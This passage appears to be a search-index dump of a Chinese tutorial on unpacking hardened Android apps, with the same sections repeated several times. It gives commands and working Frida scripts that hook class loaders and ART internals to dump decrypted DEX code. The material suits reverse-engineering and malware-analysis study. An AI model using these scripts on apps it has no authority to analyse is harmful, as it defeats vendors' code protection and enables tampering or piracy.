Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#必需工具"},{"categories":null,"collections":null,"content":"可选工具 ☐ FUPK3 - 针对特定壳的专用脱壳工具 ☐ Youpk - 较新的脱壳工具 ☐ PKid/ApkTool-Plus - 加固类型识别工具 ☐ MT 管理器 - Android 端 APK 分析工具 ☐ IDA Pro/Ghidra - Native 层分析 (SO 加固时需要) ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:2:2","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#可选工具"},{"categories":null,"collections":null,"content":"前置条件 在开始前请确认： ✅ 设备已 Root 并安装 Frida Server ✅ 了解 DEX 文件基本结构 (至少知道 magic number 0x6465780A) ✅ 应用已安装并能正常启动 (即使有反调试) ✅ 磁盘空间充足 (脱壳可能产生大量文件) ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:3:0","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#前置条件"},{"categories":null,"collections":null,"content":"解决方案 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:0","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#解决方案"},{"categories":null,"collections":null,"content":"核心原理 “代码运行必解密” 无论加固技术多么复杂，加密后的代码最终都必须在内存中恢复成可执行的 DEX 格式，才能被 ART 执行。脱壳的核心思想是：在代码被解密后、执行前的那一刻，从内存中将其 dump 出来。 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:1","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#核心原理"},{"categories":null,"collections":null,"content":"第 1 步: 识别加固类型 (5-10 分钟) 不同代际的加固技术需要不同的脱壳策略，先识别目标应用使用了什么加固技术。 方法 A: 使用工具快速识别 # 使用 PKid (ApkTool-Plus) 检测 # 下载: https://github.com/rover12421/ApkToolPlus java -jar ApkToolPlus.jar -pkid target.apk # 输出示例: # [+] 检测到加固厂商: 腾讯乐固 (Tencent Legu) # [+] 加固类型: 第二代壳 (方法抽取) 方法 B: 手动检测 # 1. 检查 AndroidManifest.xml 中的 Application 类 unzip -p target.apk AndroidManifest.xml | strings | grep -i \"application\" # 可疑类名: # com.tencent.StubShell.TxAppEntry (腾讯乐固) # com.secneo.apkwrapper.ApplicationWrapper (梆梆 Security) # com.baidu.protect.StubApplication (百度加固) # 2. 检查 DEX 文件大小 unzip -l target.apk | grep classes.dex # 如果 classes.dex \u003c 100KB 且 App 功能复杂，很可能加壳 # 3. 检查可疑文件 unzip -l target.apk | grep -E \"\\.dat|\\.bin|ijm_lib|secdata\" # 这些文件通常包含加密的原始 DEX # 4. 检查 lib 目录中的可疑 SO unzip -l target.apk | grep \"lib/.*\\.so\" | grep -E \"(exec|vmp|protect)\" 加固技术代际对照表 代际 时期 技术特点 典型厂商 识别特征 脱壳难度 第一代 2010-2015 整体 DEX 加密 早期爱加密、360 Application 入口被替换 简单 第二代 2015-2018 方法抽取 (Stolen Code) 腾讯乐固、阿里聚安全 大量空方法、libexec.so 中等 第三代 2018-2021 指令虚拟化 (VMP) 梆梆 VMP、顶象科技 自定义 VM 引擎、私有指令 困难 第四代 2021-至今 云端+多重保护 腾讯御安全、阿里云 云端下发代码、多层加壳 极难 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:2","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#第-1-步-识别加固类型-5-10-分钟"},{"categories":null,"collections":null,"content":"第 1 步: 识别加固类型 (5-10 分钟) 不同代际的加固技术需要不同的脱壳策略，先识别目标应用使用了什么加固技术。 方法 A: 使用工具快速识别 # 使用 PKid (ApkTool-Plus) 检测 # 下载: https://github.com/rover12421/ApkToolPlus java -jar ApkToolPlus.jar -pkid target.apk # 输出示例: # [+] 检测到加固厂商: 腾讯乐固 (Tencent Legu) # [+] 加固类型: 第二代壳 (方法抽取) 方法 B: 手动检测 # 1. 检查 AndroidManifest.xml 中的 Application 类 unzip -p target.apk AndroidManifest.xml | strings | grep -i \"application\" # 可疑类名: # com.tencent.StubShell.TxAppEntry (腾讯乐固) # com.secneo.apkwrapper.ApplicationWrapper (梆梆 Security) # com.baidu.protect.StubApplication (百度加固) # 2. 检查 DEX 文件大小 unzip -l target.apk | grep classes.dex # 如果 classes.dex \u003c 100KB 且 App 功能复杂，很可能加壳 # 3. 检查可疑文件 unzip -l target.apk | grep -E \"\\.dat|\\.bin|ijm_lib|secdata\" # 这些文件通常包含加密的原始 DEX # 4. 检查 lib 目录中的可疑 SO unzip -l target.apk | grep \"lib/.*\\.so\" | grep -E \"(exec|vmp|protect)\" 加固技术代际对照表 代际 时期 技术特点 典型厂商 识别特征 脱壳难度 第一代 2010-2015 整体 DEX 加密 早期爱加密、360 Application 入口被替换 简单 第二代 2015-2018 方法抽取 (Stolen Code) 腾讯乐固、阿里聚安全 大量空方法、libexec.so 中等 第三代 2018-2021 指令虚拟化 (VMP) 梆梆 VMP、顶象科技 自定义 VM 引擎、私有指令 困难 第四代 2021-至今 云端+多重保护 腾讯御安全、阿里云 云端下发代码、多层加壳 极难 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:2","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#方法-a-使用工具快速识别"},{"categories":null,"collections":null,"content":"第 1 步: 识别加固类型 (5-10 分钟) 不同代际的加固技术需要不同的脱壳策略，先识别目标应用使用了什么加固技术。 方法 A: 使用工具快速识别 # 使用 PKid (ApkTool-Plus) 检测 # 下载: https://github.com/rover12421/ApkToolPlus java -jar ApkToolPlus.jar -pkid target.apk # 输出示例: # [+] 检测到加固厂商: 腾讯乐固 (Tencent Legu) # [+] 加固类型: 第二代壳 (方法抽取) 方法 B: 手动检测 # 1. 检查 AndroidManifest.xml 中的 Application 类 unzip -p target.apk AndroidManifest.xml | strings | grep -i \"application\" # 可疑类名: # com.tencent.StubShell.TxAppEntry (腾讯乐固) # com.secneo.apkwrapper.ApplicationWrapper (梆梆 Security) # com.baidu.protect.StubApplication (百度加固) # 2. 检查 DEX 文件大小 unzip -l target.apk | grep classes.dex # 如果 classes.dex \u003c 100KB 且 App 功能复杂，很可能加壳 # 3. 检查可疑文件 unzip -l target.apk | grep -E \"\\.dat|\\.bin|ijm_lib|secdata\" # 这些文件通常包含加密的原始 DEX # 4. 检查 lib 目录中的可疑 SO unzip -l target.apk | grep \"lib/.*\\.so\" | grep -E \"(exec|vmp|protect)\" 加固技术代际对照表 代际 时期 技术特点 典型厂商 识别特征 脱壳难度 第一代 2010-2015 整体 DEX 加密 早期爱加密、360 Application 入口被替换 简单 第二代 2015-2018 方法抽取 (Stolen Code) 腾讯乐固、阿里聚安全 大量空方法、libexec.so 中等 第三代 2018-2021 指令虚拟化 (VMP) 梆梆 VMP、顶象科技 自定义 VM 引擎、私有指令 困难 第四代 2021-至今 云端+多重保护 腾讯御安全、阿里云 云端下发代码、多层加壳 极难 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:2","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#方法-b-手动检测"},{"categories":null,"collections":null,"content":"第 1 步: 识别加固类型 (5-10 分钟) 不同代际的加固技术需要不同的脱壳策略，先识别目标应用使用了什么加固技术。 方法 A: 使用工具快速识别 # 使用 PKid (ApkTool-Plus) 检测 # 下载: https://github.com/rover12421/ApkToolPlus java -jar ApkToolPlus.jar -pkid target.apk # 输出示例: # [+] 检测到加固厂商: 腾讯乐固 (Tencent Legu) # [+] 加固类型: 第二代壳 (方法抽取) 方法 B: 手动检测 # 1. 检查 AndroidManifest.xml 中的 Application 类 unzip -p target.apk AndroidManifest.xml | strings | grep -i \"application\" # 可疑类名: # com.tencent.StubShell.TxAppEntry (腾讯乐固) # com.secneo.apkwrapper.ApplicationWrapper (梆梆 Security) # com.baidu.protect.StubApplication (百度加固) # 2. 检查 DEX 文件大小 unzip -l target.apk | grep classes.dex # 如果 classes.dex \u003c 100KB 且 App 功能复杂，很可能加壳 # 3. 检查可疑文件 unzip -l target.apk | grep -E \"\\.dat|\\.bin|ijm_lib|secdata\" # 这些文件通常包含加密的原始 DEX # 4. 检查 lib 目录中的可疑 SO unzip -l target.apk | grep \"lib/.*\\.so\" | grep -E \"(exec|vmp|protect)\" 加固技术代际对照表 代际 时期 技术特点 典型厂商 识别特征 脱壳难度 第一代 2010-2015 整体 DEX 加密 早期爱加密、360 Application 入口被替换 简单 第二代 2015-2018 方法抽取 (Stolen Code) 腾讯乐固、阿里聚安全 大量空方法、libexec.so 中等 第三代 2018-2021 指令虚拟化 (VMP) 梆梆 VMP、顶象科技 自定义 VM 引擎、私有指令 困难 第四代 2021-至今 云端+多重保护 腾讯御安全、阿里云 云端下发代码、多层加壳 极难 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:2","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#加固技术代际对照表"},{"categories":null,"collections":null,"content":"第 2 步: 选择脱壳策略 (5 分钟) 根据识别出的加固类型，选择合适的脱壳方法： 第一代壳 (整体加密) 策略: Hook ClassLoader，在 DEX 加载时 dump 推荐工具: 手写 Frida 脚本或 frida-dexdump 成功率: 95%+ 第二代壳 (方法抽取) 策略: Hook ArtMethod 的 invoke，在方法首次调用时 dump CodeItem 推荐工具: FART 技术 (Frida ART Hook) + frida-dexdump 成功率: 80%+ (取决于代码覆盖率) 第三代壳 (虚拟化) 策略: Hook 虚拟机引擎，获取指令流 + 映射表逆向 推荐工具: IDA Pro + 自定义脚本 成功率: 50% (需要深入分析虚拟机实现) 第四代壳 (云端) 策略: 网络抓包 + 内存扫描 + 多层 dump 推荐工具: mitmproxy + frida-dexdump + 自定义脚本 成功率: 30% (部分逻辑可能无法获取) ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:3","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#第-2-步-选择脱壳策略-5-分钟"},{"categories":null,"collections":null,"content":"第 2 步: 选择脱壳策略 (5 分钟) 根据识别出的加固类型，选择合适的脱壳方法： 第一代壳 (整体加密) 策略: Hook ClassLoader，在 DEX 加载时 dump 推荐工具: 手写 Frida 脚本或 frida-dexdump 成功率: 95%+ 第二代壳 (方法抽取) 策略: Hook ArtMethod 的 invoke，在方法首次调用时 dump CodeItem 推荐工具: FART 技术 (Frida ART Hook) + frida-dexdump 成功率: 80%+ (取决于代码覆盖率) 第三代壳 (虚拟化) 策略: Hook 虚拟机引擎，获取指令流 + 映射表逆向 推荐工具: IDA Pro + 自定义脚本 成功率: 50% (需要深入分析虚拟机实现) 第四代壳 (云端) 策略: 网络抓包 + 内存扫描 + 多层 dump 推荐工具: mitmproxy + frida-dexdump + 自定义脚本 成功率: 30% (部分逻辑可能无法获取) ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:3","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#第一代壳-整体加密"},{"categories":null,"collections":null,"content":"第 2 步: 选择脱壳策略 (5 分钟) 根据识别出的加固类型，选择合适的脱壳方法： 第一代壳 (整体加密) 策略: Hook ClassLoader，在 DEX 加载时 dump 推荐工具: 手写 Frida 脚本或 frida-dexdump 成功率: 95%+ 第二代壳 (方法抽取) 策略: Hook ArtMethod 的 invoke，在方法首次调用时 dump CodeItem 推荐工具: FART 技术 (Frida ART Hook) + frida-dexdump 成功率: 80%+ (取决于代码覆盖率) 第三代壳 (虚拟化) 策略: Hook 虚拟机引擎，获取指令流 + 映射表逆向 推荐工具: IDA Pro + 自定义脚本 成功率: 50% (需要深入分析虚拟机实现) 第四代壳 (云端) 策略: 网络抓包 + 内存扫描 + 多层 dump 推荐工具: mitmproxy + frida-dexdump + 自定义脚本 成功率: 30% (部分逻辑可能无法获取) ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:3","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#第二代壳-方法抽取"},{"categories":null,"collections":null,"content":"第 2 步: 选择脱壳策略 (5 分钟) 根据识别出的加固类型，选择合适的脱壳方法： 第一代壳 (整体加密) 策略: Hook ClassLoader，在 DEX 加载时 dump 推荐工具: 手写 Frida 脚本或 frida-dexdump 成功率: 95%+ 第二代壳 (方法抽取) 策略: Hook ArtMethod 的 invoke，在方法首次调用时 dump CodeItem 推荐工具: FART 技术 (Frida ART Hook) + frida-dexdump 成功率: 80%+ (取决于代码覆盖率) 第三代壳 (虚拟化) 策略: Hook 虚拟机引擎，获取指令流 + 映射表逆向 推荐工具: IDA Pro + 自定义脚本 成功率: 50% (需要深入分析虚拟机实现) 第四代壳 (云端) 策略: 网络抓包 + 内存扫描 + 多层 dump 推荐工具: mitmproxy + frida-dexdump + 自定义脚本 成功率: 30% (部分逻辑可能无法获取) ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:3","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#第三代壳-虚拟化"},{"categories":null,"collections":null,"content":"第 2 步: 选择脱壳策略 (5 分钟) 根据识别出的加固类型，选择合适的脱壳方法： 第一代壳 (整体加密) 策略: Hook ClassLoader，在 DEX 加载时 dump 推荐工具: 手写 Frida 脚本或 frida-dexdump 成功率: 95%+ 第二代壳 (方法抽取) 策略: Hook ArtMethod 的 invoke，在方法首次调用时 dump CodeItem 推荐工具: FART 技术 (Frida ART Hook) + frida-dexdump 成功率: 80%+ (取决于代码覆盖率) 第三代壳 (虚拟化) 策略: Hook 虚拟机引擎，获取指令流 + 映射表逆向 推荐工具: IDA Pro + 自定义脚本 成功率: 50% (需要深入分析虚拟机实现) 第四代壳 (云端) 策略: 网络抓包 + 内存扫描 + 多层 dump 推荐工具: mitmproxy + frida-dexdump + 自定义脚本 成功率: 30% (部分逻辑可能无法获取) ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:3","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#第四代壳-云端"},{"categories":null,"collections":null,"content":"第 3 步: 执行脱壳 (10-60 分钟) 以下提供针对不同代际的脱壳脚本。 方法 A: 使用 frida-dexdump (通用，推荐首选) # 1. 启动 Frida Server adb push frida-server /data/local/tmp/ adb shell \"chmod 755 /data/local/tmp/frida-server\" adb shell \"/data/local/tmp/frida-server \u0026\" # 2. 安装 frida-dexdump pip3 install frida-dexdump # 3. 运行脱壳 (Spawn 模式，在 App 启动时拦截) python3 -m frida_dexdump -U -f com.target.app -o ./output # 输出示例: # [+] Hooking ClassLoader... # [+] Dumped DEX: /output/com.target.app_1234567890.dex (5.2 MB) # [+] Dumped DEX: /output/com.target.app_0987654321.dex (1.8 MB) # [+] Total: 2 DEX files dumped # 4. 将 DEX 文件拉取到本地 adb pull /data/data/com.target.app/files/*.dex ./dumped_dex/ 参数说明: -U: 使用 USB 连接的设备 -f com.target.app: Spawn 模式启动应用 -o ./output: 输出目录 方法 B: 手写 Hook 脚本 (第一代壳) 适用于简单的整体加密壳。 // unpacker_gen1.js - 第一代壳通用脚本 Java.perform(function () { console.log(\"[+] 开始 Hook ClassLoader...\"); // 拦截 1: DexClassLoader (最常见) var DexClassLoader = Java.use(\"dalvik.system.DexClassLoader\"); DexClassLoader.$init.implementation = function ( dexPath, optimizedDirectory, librarySearchPath, parent ) { console.log(\"[+] DexClassLoader 加载 DEX:\"); console.log(\" 路径: \" + dexPath); // 尝试复制 DEX 文件 if (dexPath \u0026\u0026 dexPath.indexOf(\"/data/data/\") !== -1) { try { var File = Java.use(\"java.io.File\"); var FileInputStream = Java.use(\"java.io.FileInputStream\"); var FileOutputStream = Java.use(\"java.io.FileOutputStream\"); var srcFile = File.$new(dexPath); if (srcFile.exists()) { var timestamp = Date.now(); var dstPath = \"/data/data/com.target.app/dumped_\" + timestamp + \".dex\"; var dstFile = File.$new(dstPath); var fis = FileInputStream.$new(srcFile); var fos = FileOutputStream.$new(dstFile); var buffer = Java.array(\"byte\", [1024]); var len; while ((len = fis.read(buffer)) \u003e 0) { fos.write(buffer, 0, len); } fis.close(); fos.close(); console.log(\"✓ [已导出] \" + dstPath); } } catch (e) { console.log(\"[-] 复制失败: \" + e); } } return this.$init(dexPath, optimizedDirectory, librarySearchPath, parent); }; // Hook 2: InMemoryDexClassLoader (内存加载) try { var InMemoryDexClassLoader = Java.use( \"dalvik.system.InMemoryDexClassLoader\" ); InMemoryDexClassLoader.$init.overload( \"java.nio.ByteBuffer\", \"java.lang.ClassLoader\" ).implementation = function (byteBuffer, classLoader) { console.log(\"[+] InMemoryDexClassLoader 加载内存 DEX\"); // 从 ByteBuffer 提取 DEX try { var remaining = byteBuffer.remaining(); console.log(\" DEX 大小: \" + remaining + \" bytes\"); // 获取字节数组 var bytes = Java.array(\"byte\", [remaining]); byteBuffer.get(bytes); // 写入文件 var timestamp = Date.now(); var dstPath = \"/data/data/com.target.app/memory_\" + timestamp + \".dex\"; var File = Java.use(\"java.io.File\"); var FileOutputStream = Java.use(\"java.io.FileOutputStream\"); var dstFile = File.$new(dstPath); var fos = FileOutputStream.$new(dstFile); fos.write(bytes); fos.close(); console.log(\"✓ [已导出] \" + dstPath); // 重置 ByteBuffer 位置 byteBuffer.position(0); } catch (e) { console.log(\"[-] 导出失败: \" + e); } return this.$init(byteBuffer, classLoader); }; } catch (e) { console.log(\"[-] InMemoryDexClassLoader 不存在 (Android \u003c 8.0)\"); } console.log(\"[+] Hook 完成，等待 DEX 加载...\"); }); 使用方法: # Spawn 模式 (推荐) frida -U -f com.target.app -l unpacker_gen1.js --no-pause # Attach 模式 frida -U com.target.app -l unpacker_gen1.js 方法 C: FART 技术 (第二代壳 - 方法抽取) FART (Frida-ART-Hook) 是针对方法抽取壳的高级技术。 // unpacker_fart.js - FART (Frida-ART-Hook) 脚本 // 警告: 此脚本需要深入理解 ART 内部机制，不同 Android 版本可能需要调整偏移 var artMethodInvokeAddr = null; // 根据 Android 版本查找 ArtMethod::Invoke 符号 var symbols = [ \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjjPNS_6JValueEPKc\", // Android 7.0+ \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjmPNS_6JValueEPKc\", // Android 8.0+ ]; for (var i = 0; i \u003c symbols.length; i++) { artMethodInvokeAddr = Module.findExportByName(\"libart.so\", symbols[i]); if (artMethodInvokeAddr) { console.log(\"[+] 找到 ArtMethod::Invoke: \" + artMethodInvokeAddr); break; } } if (!artMethodInvokeAddr) { console.log(\"[-] 未找到 ArtMethod::Invoke，无法继续\"); } else { Interceptor.attach(artMethodInvokeAddr, { onEnter: function (args) { var artMethod ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:4","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#第-3-步-执行脱壳-10-60-分钟"},{"categories":null,"collections":null,"content":"第 3 步: 执行脱壳 (10-60 分钟) 以下提供针对不同代际的脱壳脚本。 方法 A: 使用 frida-dexdump (通用，推荐首选) # 1. 启动 Frida Server adb push frida-server /data/local/tmp/ adb shell \"chmod 755 /data/local/tmp/frida-server\" adb shell \"/data/local/tmp/frida-server \u0026\" # 2. 安装 frida-dexdump pip3 install frida-dexdump # 3. 运行脱壳 (Spawn 模式，在 App 启动时拦截) python3 -m frida_dexdump -U -f com.target.app -o ./output # 输出示例: # [+] Hooking ClassLoader... # [+] Dumped DEX: /output/com.target.app_1234567890.dex (5.2 MB) # [+] Dumped DEX: /output/com.target.app_0987654321.dex (1.8 MB) # [+] Total: 2 DEX files dumped # 4. 将 DEX 文件拉取到本地 adb pull /data/data/com.target.app/files/*.dex ./dumped_dex/ 参数说明: -U: 使用 USB 连接的设备 -f com.target.app: Spawn 模式启动应用 -o ./output: 输出目录 方法 B: 手写 Hook 脚本 (第一代壳) 适用于简单的整体加密壳。 // unpacker_gen1.js - 第一代壳通用脚本 Java.perform(function () { console.log(\"[+] 开始 Hook ClassLoader...\"); // 拦截 1: DexClassLoader (最常见) var DexClassLoader = Java.use(\"dalvik.system.DexClassLoader\"); DexClassLoader.$init.implementation = function ( dexPath, optimizedDirectory, librarySearchPath, parent ) { console.log(\"[+] DexClassLoader 加载 DEX:\"); console.log(\" 路径: \" + dexPath); // 尝试复制 DEX 文件 if (dexPath \u0026\u0026 dexPath.indexOf(\"/data/data/\") !== -1) { try { var File = Java.use(\"java.io.File\"); var FileInputStream = Java.use(\"java.io.FileInputStream\"); var FileOutputStream = Java.use(\"java.io.FileOutputStream\"); var srcFile = File.$new(dexPath); if (srcFile.exists()) { var timestamp = Date.now(); var dstPath = \"/data/data/com.target.app/dumped_\" + timestamp + \".dex\"; var dstFile = File.$new(dstPath); var fis = FileInputStream.$new(srcFile); var fos = FileOutputStream.$new(dstFile); var buffer = Java.array(\"byte\", [1024]); var len; while ((len = fis.read(buffer)) \u003e 0) { fos.write(buffer, 0, len); } fis.close(); fos.close(); console.log(\"✓ [已导出] \" + dstPath); } } catch (e) { console.log(\"[-] 复制失败: \" + e); } } return this.$init(dexPath, optimizedDirectory, librarySearchPath, parent); }; // Hook 2: InMemoryDexClassLoader (内存加载) try { var InMemoryDexClassLoader = Java.use( \"dalvik.system.InMemoryDexClassLoader\" ); InMemoryDexClassLoader.$init.overload( \"java.nio.ByteBuffer\", \"java.lang.ClassLoader\" ).implementation = function (byteBuffer, classLoader) { console.log(\"[+] InMemoryDexClassLoader 加载内存 DEX\"); // 从 ByteBuffer 提取 DEX try { var remaining = byteBuffer.remaining(); console.log(\" DEX 大小: \" + remaining + \" bytes\"); // 获取字节数组 var bytes = Java.array(\"byte\", [remaining]); byteBuffer.get(bytes); // 写入文件 var timestamp = Date.now(); var dstPath = \"/data/data/com.target.app/memory_\" + timestamp + \".dex\"; var File = Java.use(\"java.io.File\"); var FileOutputStream = Java.use(\"java.io.FileOutputStream\"); var dstFile = File.$new(dstPath); var fos = FileOutputStream.$new(dstFile); fos.write(bytes); fos.close(); console.log(\"✓ [已导出] \" + dstPath); // 重置 ByteBuffer 位置 byteBuffer.position(0); } catch (e) { console.log(\"[-] 导出失败: \" + e); } return this.$init(byteBuffer, classLoader); }; } catch (e) { console.log(\"[-] InMemoryDexClassLoader 不存在 (Android \u003c 8.0)\"); } console.log(\"[+] Hook 完成，等待 DEX 加载...\"); }); 使用方法: # Spawn 模式 (推荐) frida -U -f com.target.app -l unpacker_gen1.js --no-pause # Attach 模式 frida -U com.target.app -l unpacker_gen1.js 方法 C: FART 技术 (第二代壳 - 方法抽取) FART (Frida-ART-Hook) 是针对方法抽取壳的高级技术。 // unpacker_fart.js - FART (Frida-ART-Hook) 脚本 // 警告: 此脚本需要深入理解 ART 内部机制，不同 Android 版本可能需要调整偏移 var artMethodInvokeAddr = null; // 根据 Android 版本查找 ArtMethod::Invoke 符号 var symbols = [ \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjjPNS_6JValueEPKc\", // Android 7.0+ \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjmPNS_6JValueEPKc\", // Android 8.0+ ]; for (var i = 0; i \u003c symbols.length; i++) { artMethodInvokeAddr = Module.findExportByName(\"libart.so\", symbols[i]); if (artMethodInvokeAddr) { console.log(\"[+] 找到 ArtMethod::Invoke: \" + artMethodInvokeAddr); break; } } if (!artMethodInvokeAddr) { console.log(\"[-] 未找到 ArtMethod::Invoke，无法继续\"); } else { Interceptor.attach(artMethodInvokeAddr, { onEnter: function (args) { var artMethod ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:4:4","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#方法-a-使用-frida-dexdump-通用推荐首选"},{"categories":null,"collections":null,"content":"第 3 步: 执行脱壳 (10-60 分钟) 以下提供针对不同代际的脱壳脚本。 方法 A: 使用 frida-dexdump (通用，推荐首选) # 1. 启动 Frida Server adb push frida-server /data/local/tmp/ adb shell \"chmod 755 /data/local/tmp/frida-server\" adb shell \"/data/local/tmp/frida-server \u0026\" # 2. 安装 frida-dexdump pip3 install frida-dexdump # 3. 运行脱壳 (Spawn 模式，在 App 启动时拦截) python3 -m frida_dexdump -U -f com.target.app -o ./output # 输出示例: # [+] Hooking ClassLoader... # [+] Dumped DEX: /output/com.target.app_1234567890.dex (5.2 MB) # [+] Dumped DEX: /output/com.target.app_0987654321.dex (1.8 MB) # [+] Total: 2 DEX files dumped # 4. 将 DEX 文件拉取到本地 adb pull /data/data/com.target.app/files/*.dex ./dumped_dex/ 参数说明: -U: 使用 USB 连接的设备 -f com.target.app: Spawn 模式启动应用 -o ./output: 输出目录 方法 B: 手写 Hook 脚本 (第一代壳) 适用于简单的整体加密壳。 // unpacker_gen1.js - 第一代壳通用脚本 Java.perform(function () { console.log(\"[+] 开始 Hook ClassLoader...\"); // 拦截 1: DexClassLoader (最常见) var DexClassLoader = Java.use(\"dalvik.system.DexClassLoader\"); DexClassLoader.$init.implementation = function ( dexPath, optimizedDirectory, librarySearchPath, parent ) { console.log(\"[+] DexClassLoader 加载 DEX:\"); console.log(\" 路径: \" + dexPath); // 尝试复制 DEX 文件 if (dexPath \u0026\u0026 dexPath.indexOf(\"/data/data/\") !== -1) { try { var File = Java.use(\"java.io.File\"); var FileInputStream = Java.use(\"java.io.FileInputStream\"); var FileOutputStream = Java.use(\"java.io.FileOutputStream\"); var srcFile = File.$new(dexPath); if (srcFile.exists()) { var timestamp = Date.now(); var dstPath = \"/data/data/com.target.app/dumped_\" + timestamp + \".dex\"; var dstFile = File.$new(dstPath); var fis = FileInputStream.$new(srcFile); var fos = FileOutputStream.$new(dstFile); var buffer = Java.array(\"byte\", [1024]); var len; while ((len = fis.read(buffer)) \u003e 0) { fos.write(buffer, 0, len); } fis.close(); fos.close(); console.log(\"✓ [已导出] \" + dstPath); } } catch (e) { console.log(\"[-] 复制失败: \" + e); } } return this.$init(dexPath, optimizedDirectory, librarySearchPath, parent); }; // Hook 2: InMemoryDexClassLoader (内存加载) try { var InMemoryDexClassLoader = Java.use( \"dalvik.system.InMemoryDexClassLoader\" ); InMemoryDexClassLoader.$init.overload( \"java.nio.ByteBuffer\", \"java.lang.ClassLoader\" ).implementation = function (byteBuffer, classLoader) { console.log(\"[+] InMemoryDexClassLoader 加载内存 DEX\"); // 从 ByteBuffer 提取 DEX try { var remaining = byteBuffer.remaining(); console.log(\" DEX 大小: \" + remaining + \" bytes\"); // 获取字节数组 var bytes = Java.array(\"byte\", [remaining]); byteBuffer.get(bytes); // 写入文件 var timestamp = Date.now(); var dstPath = \"/data/data/com.target.app/memory_\" + timestamp + \".dex\"; var File = Java.use(\"java.io.File\"); var FileOutputStream = Java.use(\"java.io.FileOutputStream\"); var dstFile = File.$new(dstPath); var fos = FileOutputStream.$new(dstFile); fos.write(bytes); fos.close(); console.log(\"✓ [已导出] \" + dstPath); // 重置 ByteBuffer 位置 byteBuffer.position(0); } catch (e) { console.log(\"[-] 导出失败: \" + e); } return this.$init(byteBuffer, classLoader); }; } catch (e) { console.log(\"[-] InMemoryDexClassLoader 不存在 (Android \u003c 8.0)\"); } console.log(\"[+] Hook 完成，等待 DEX 加载...\"); }); 使用方法: # Spawn 模式 (推荐) frida -U -f com.target.app -l unpacker_gen1.js --no-pause # Attach 模式 frida -U com.target.app -l unpacker_gen1.js 方法 C: FART 技术 (第二代壳 - 方法抽取) FART (Frida-ART-Hook) 是针对方法抽取壳的高级技术。 // unpacker_fart.js - FART (Frida-ART-Hook) 脚本 // 警告: 此脚本需要深入理解 ART 内部机制，不同 Android 版本可能需要调整偏移 var artMethodInvokeAddr = null; // 根据 Android 版本查找 ArtMethod::Invoke 符号 var symbols = [ \"_ZN3art9ArtMethod6InvokeEPNS_6ThreadEPjjPNS_6JValueEPKc\", // Android 7.0+ 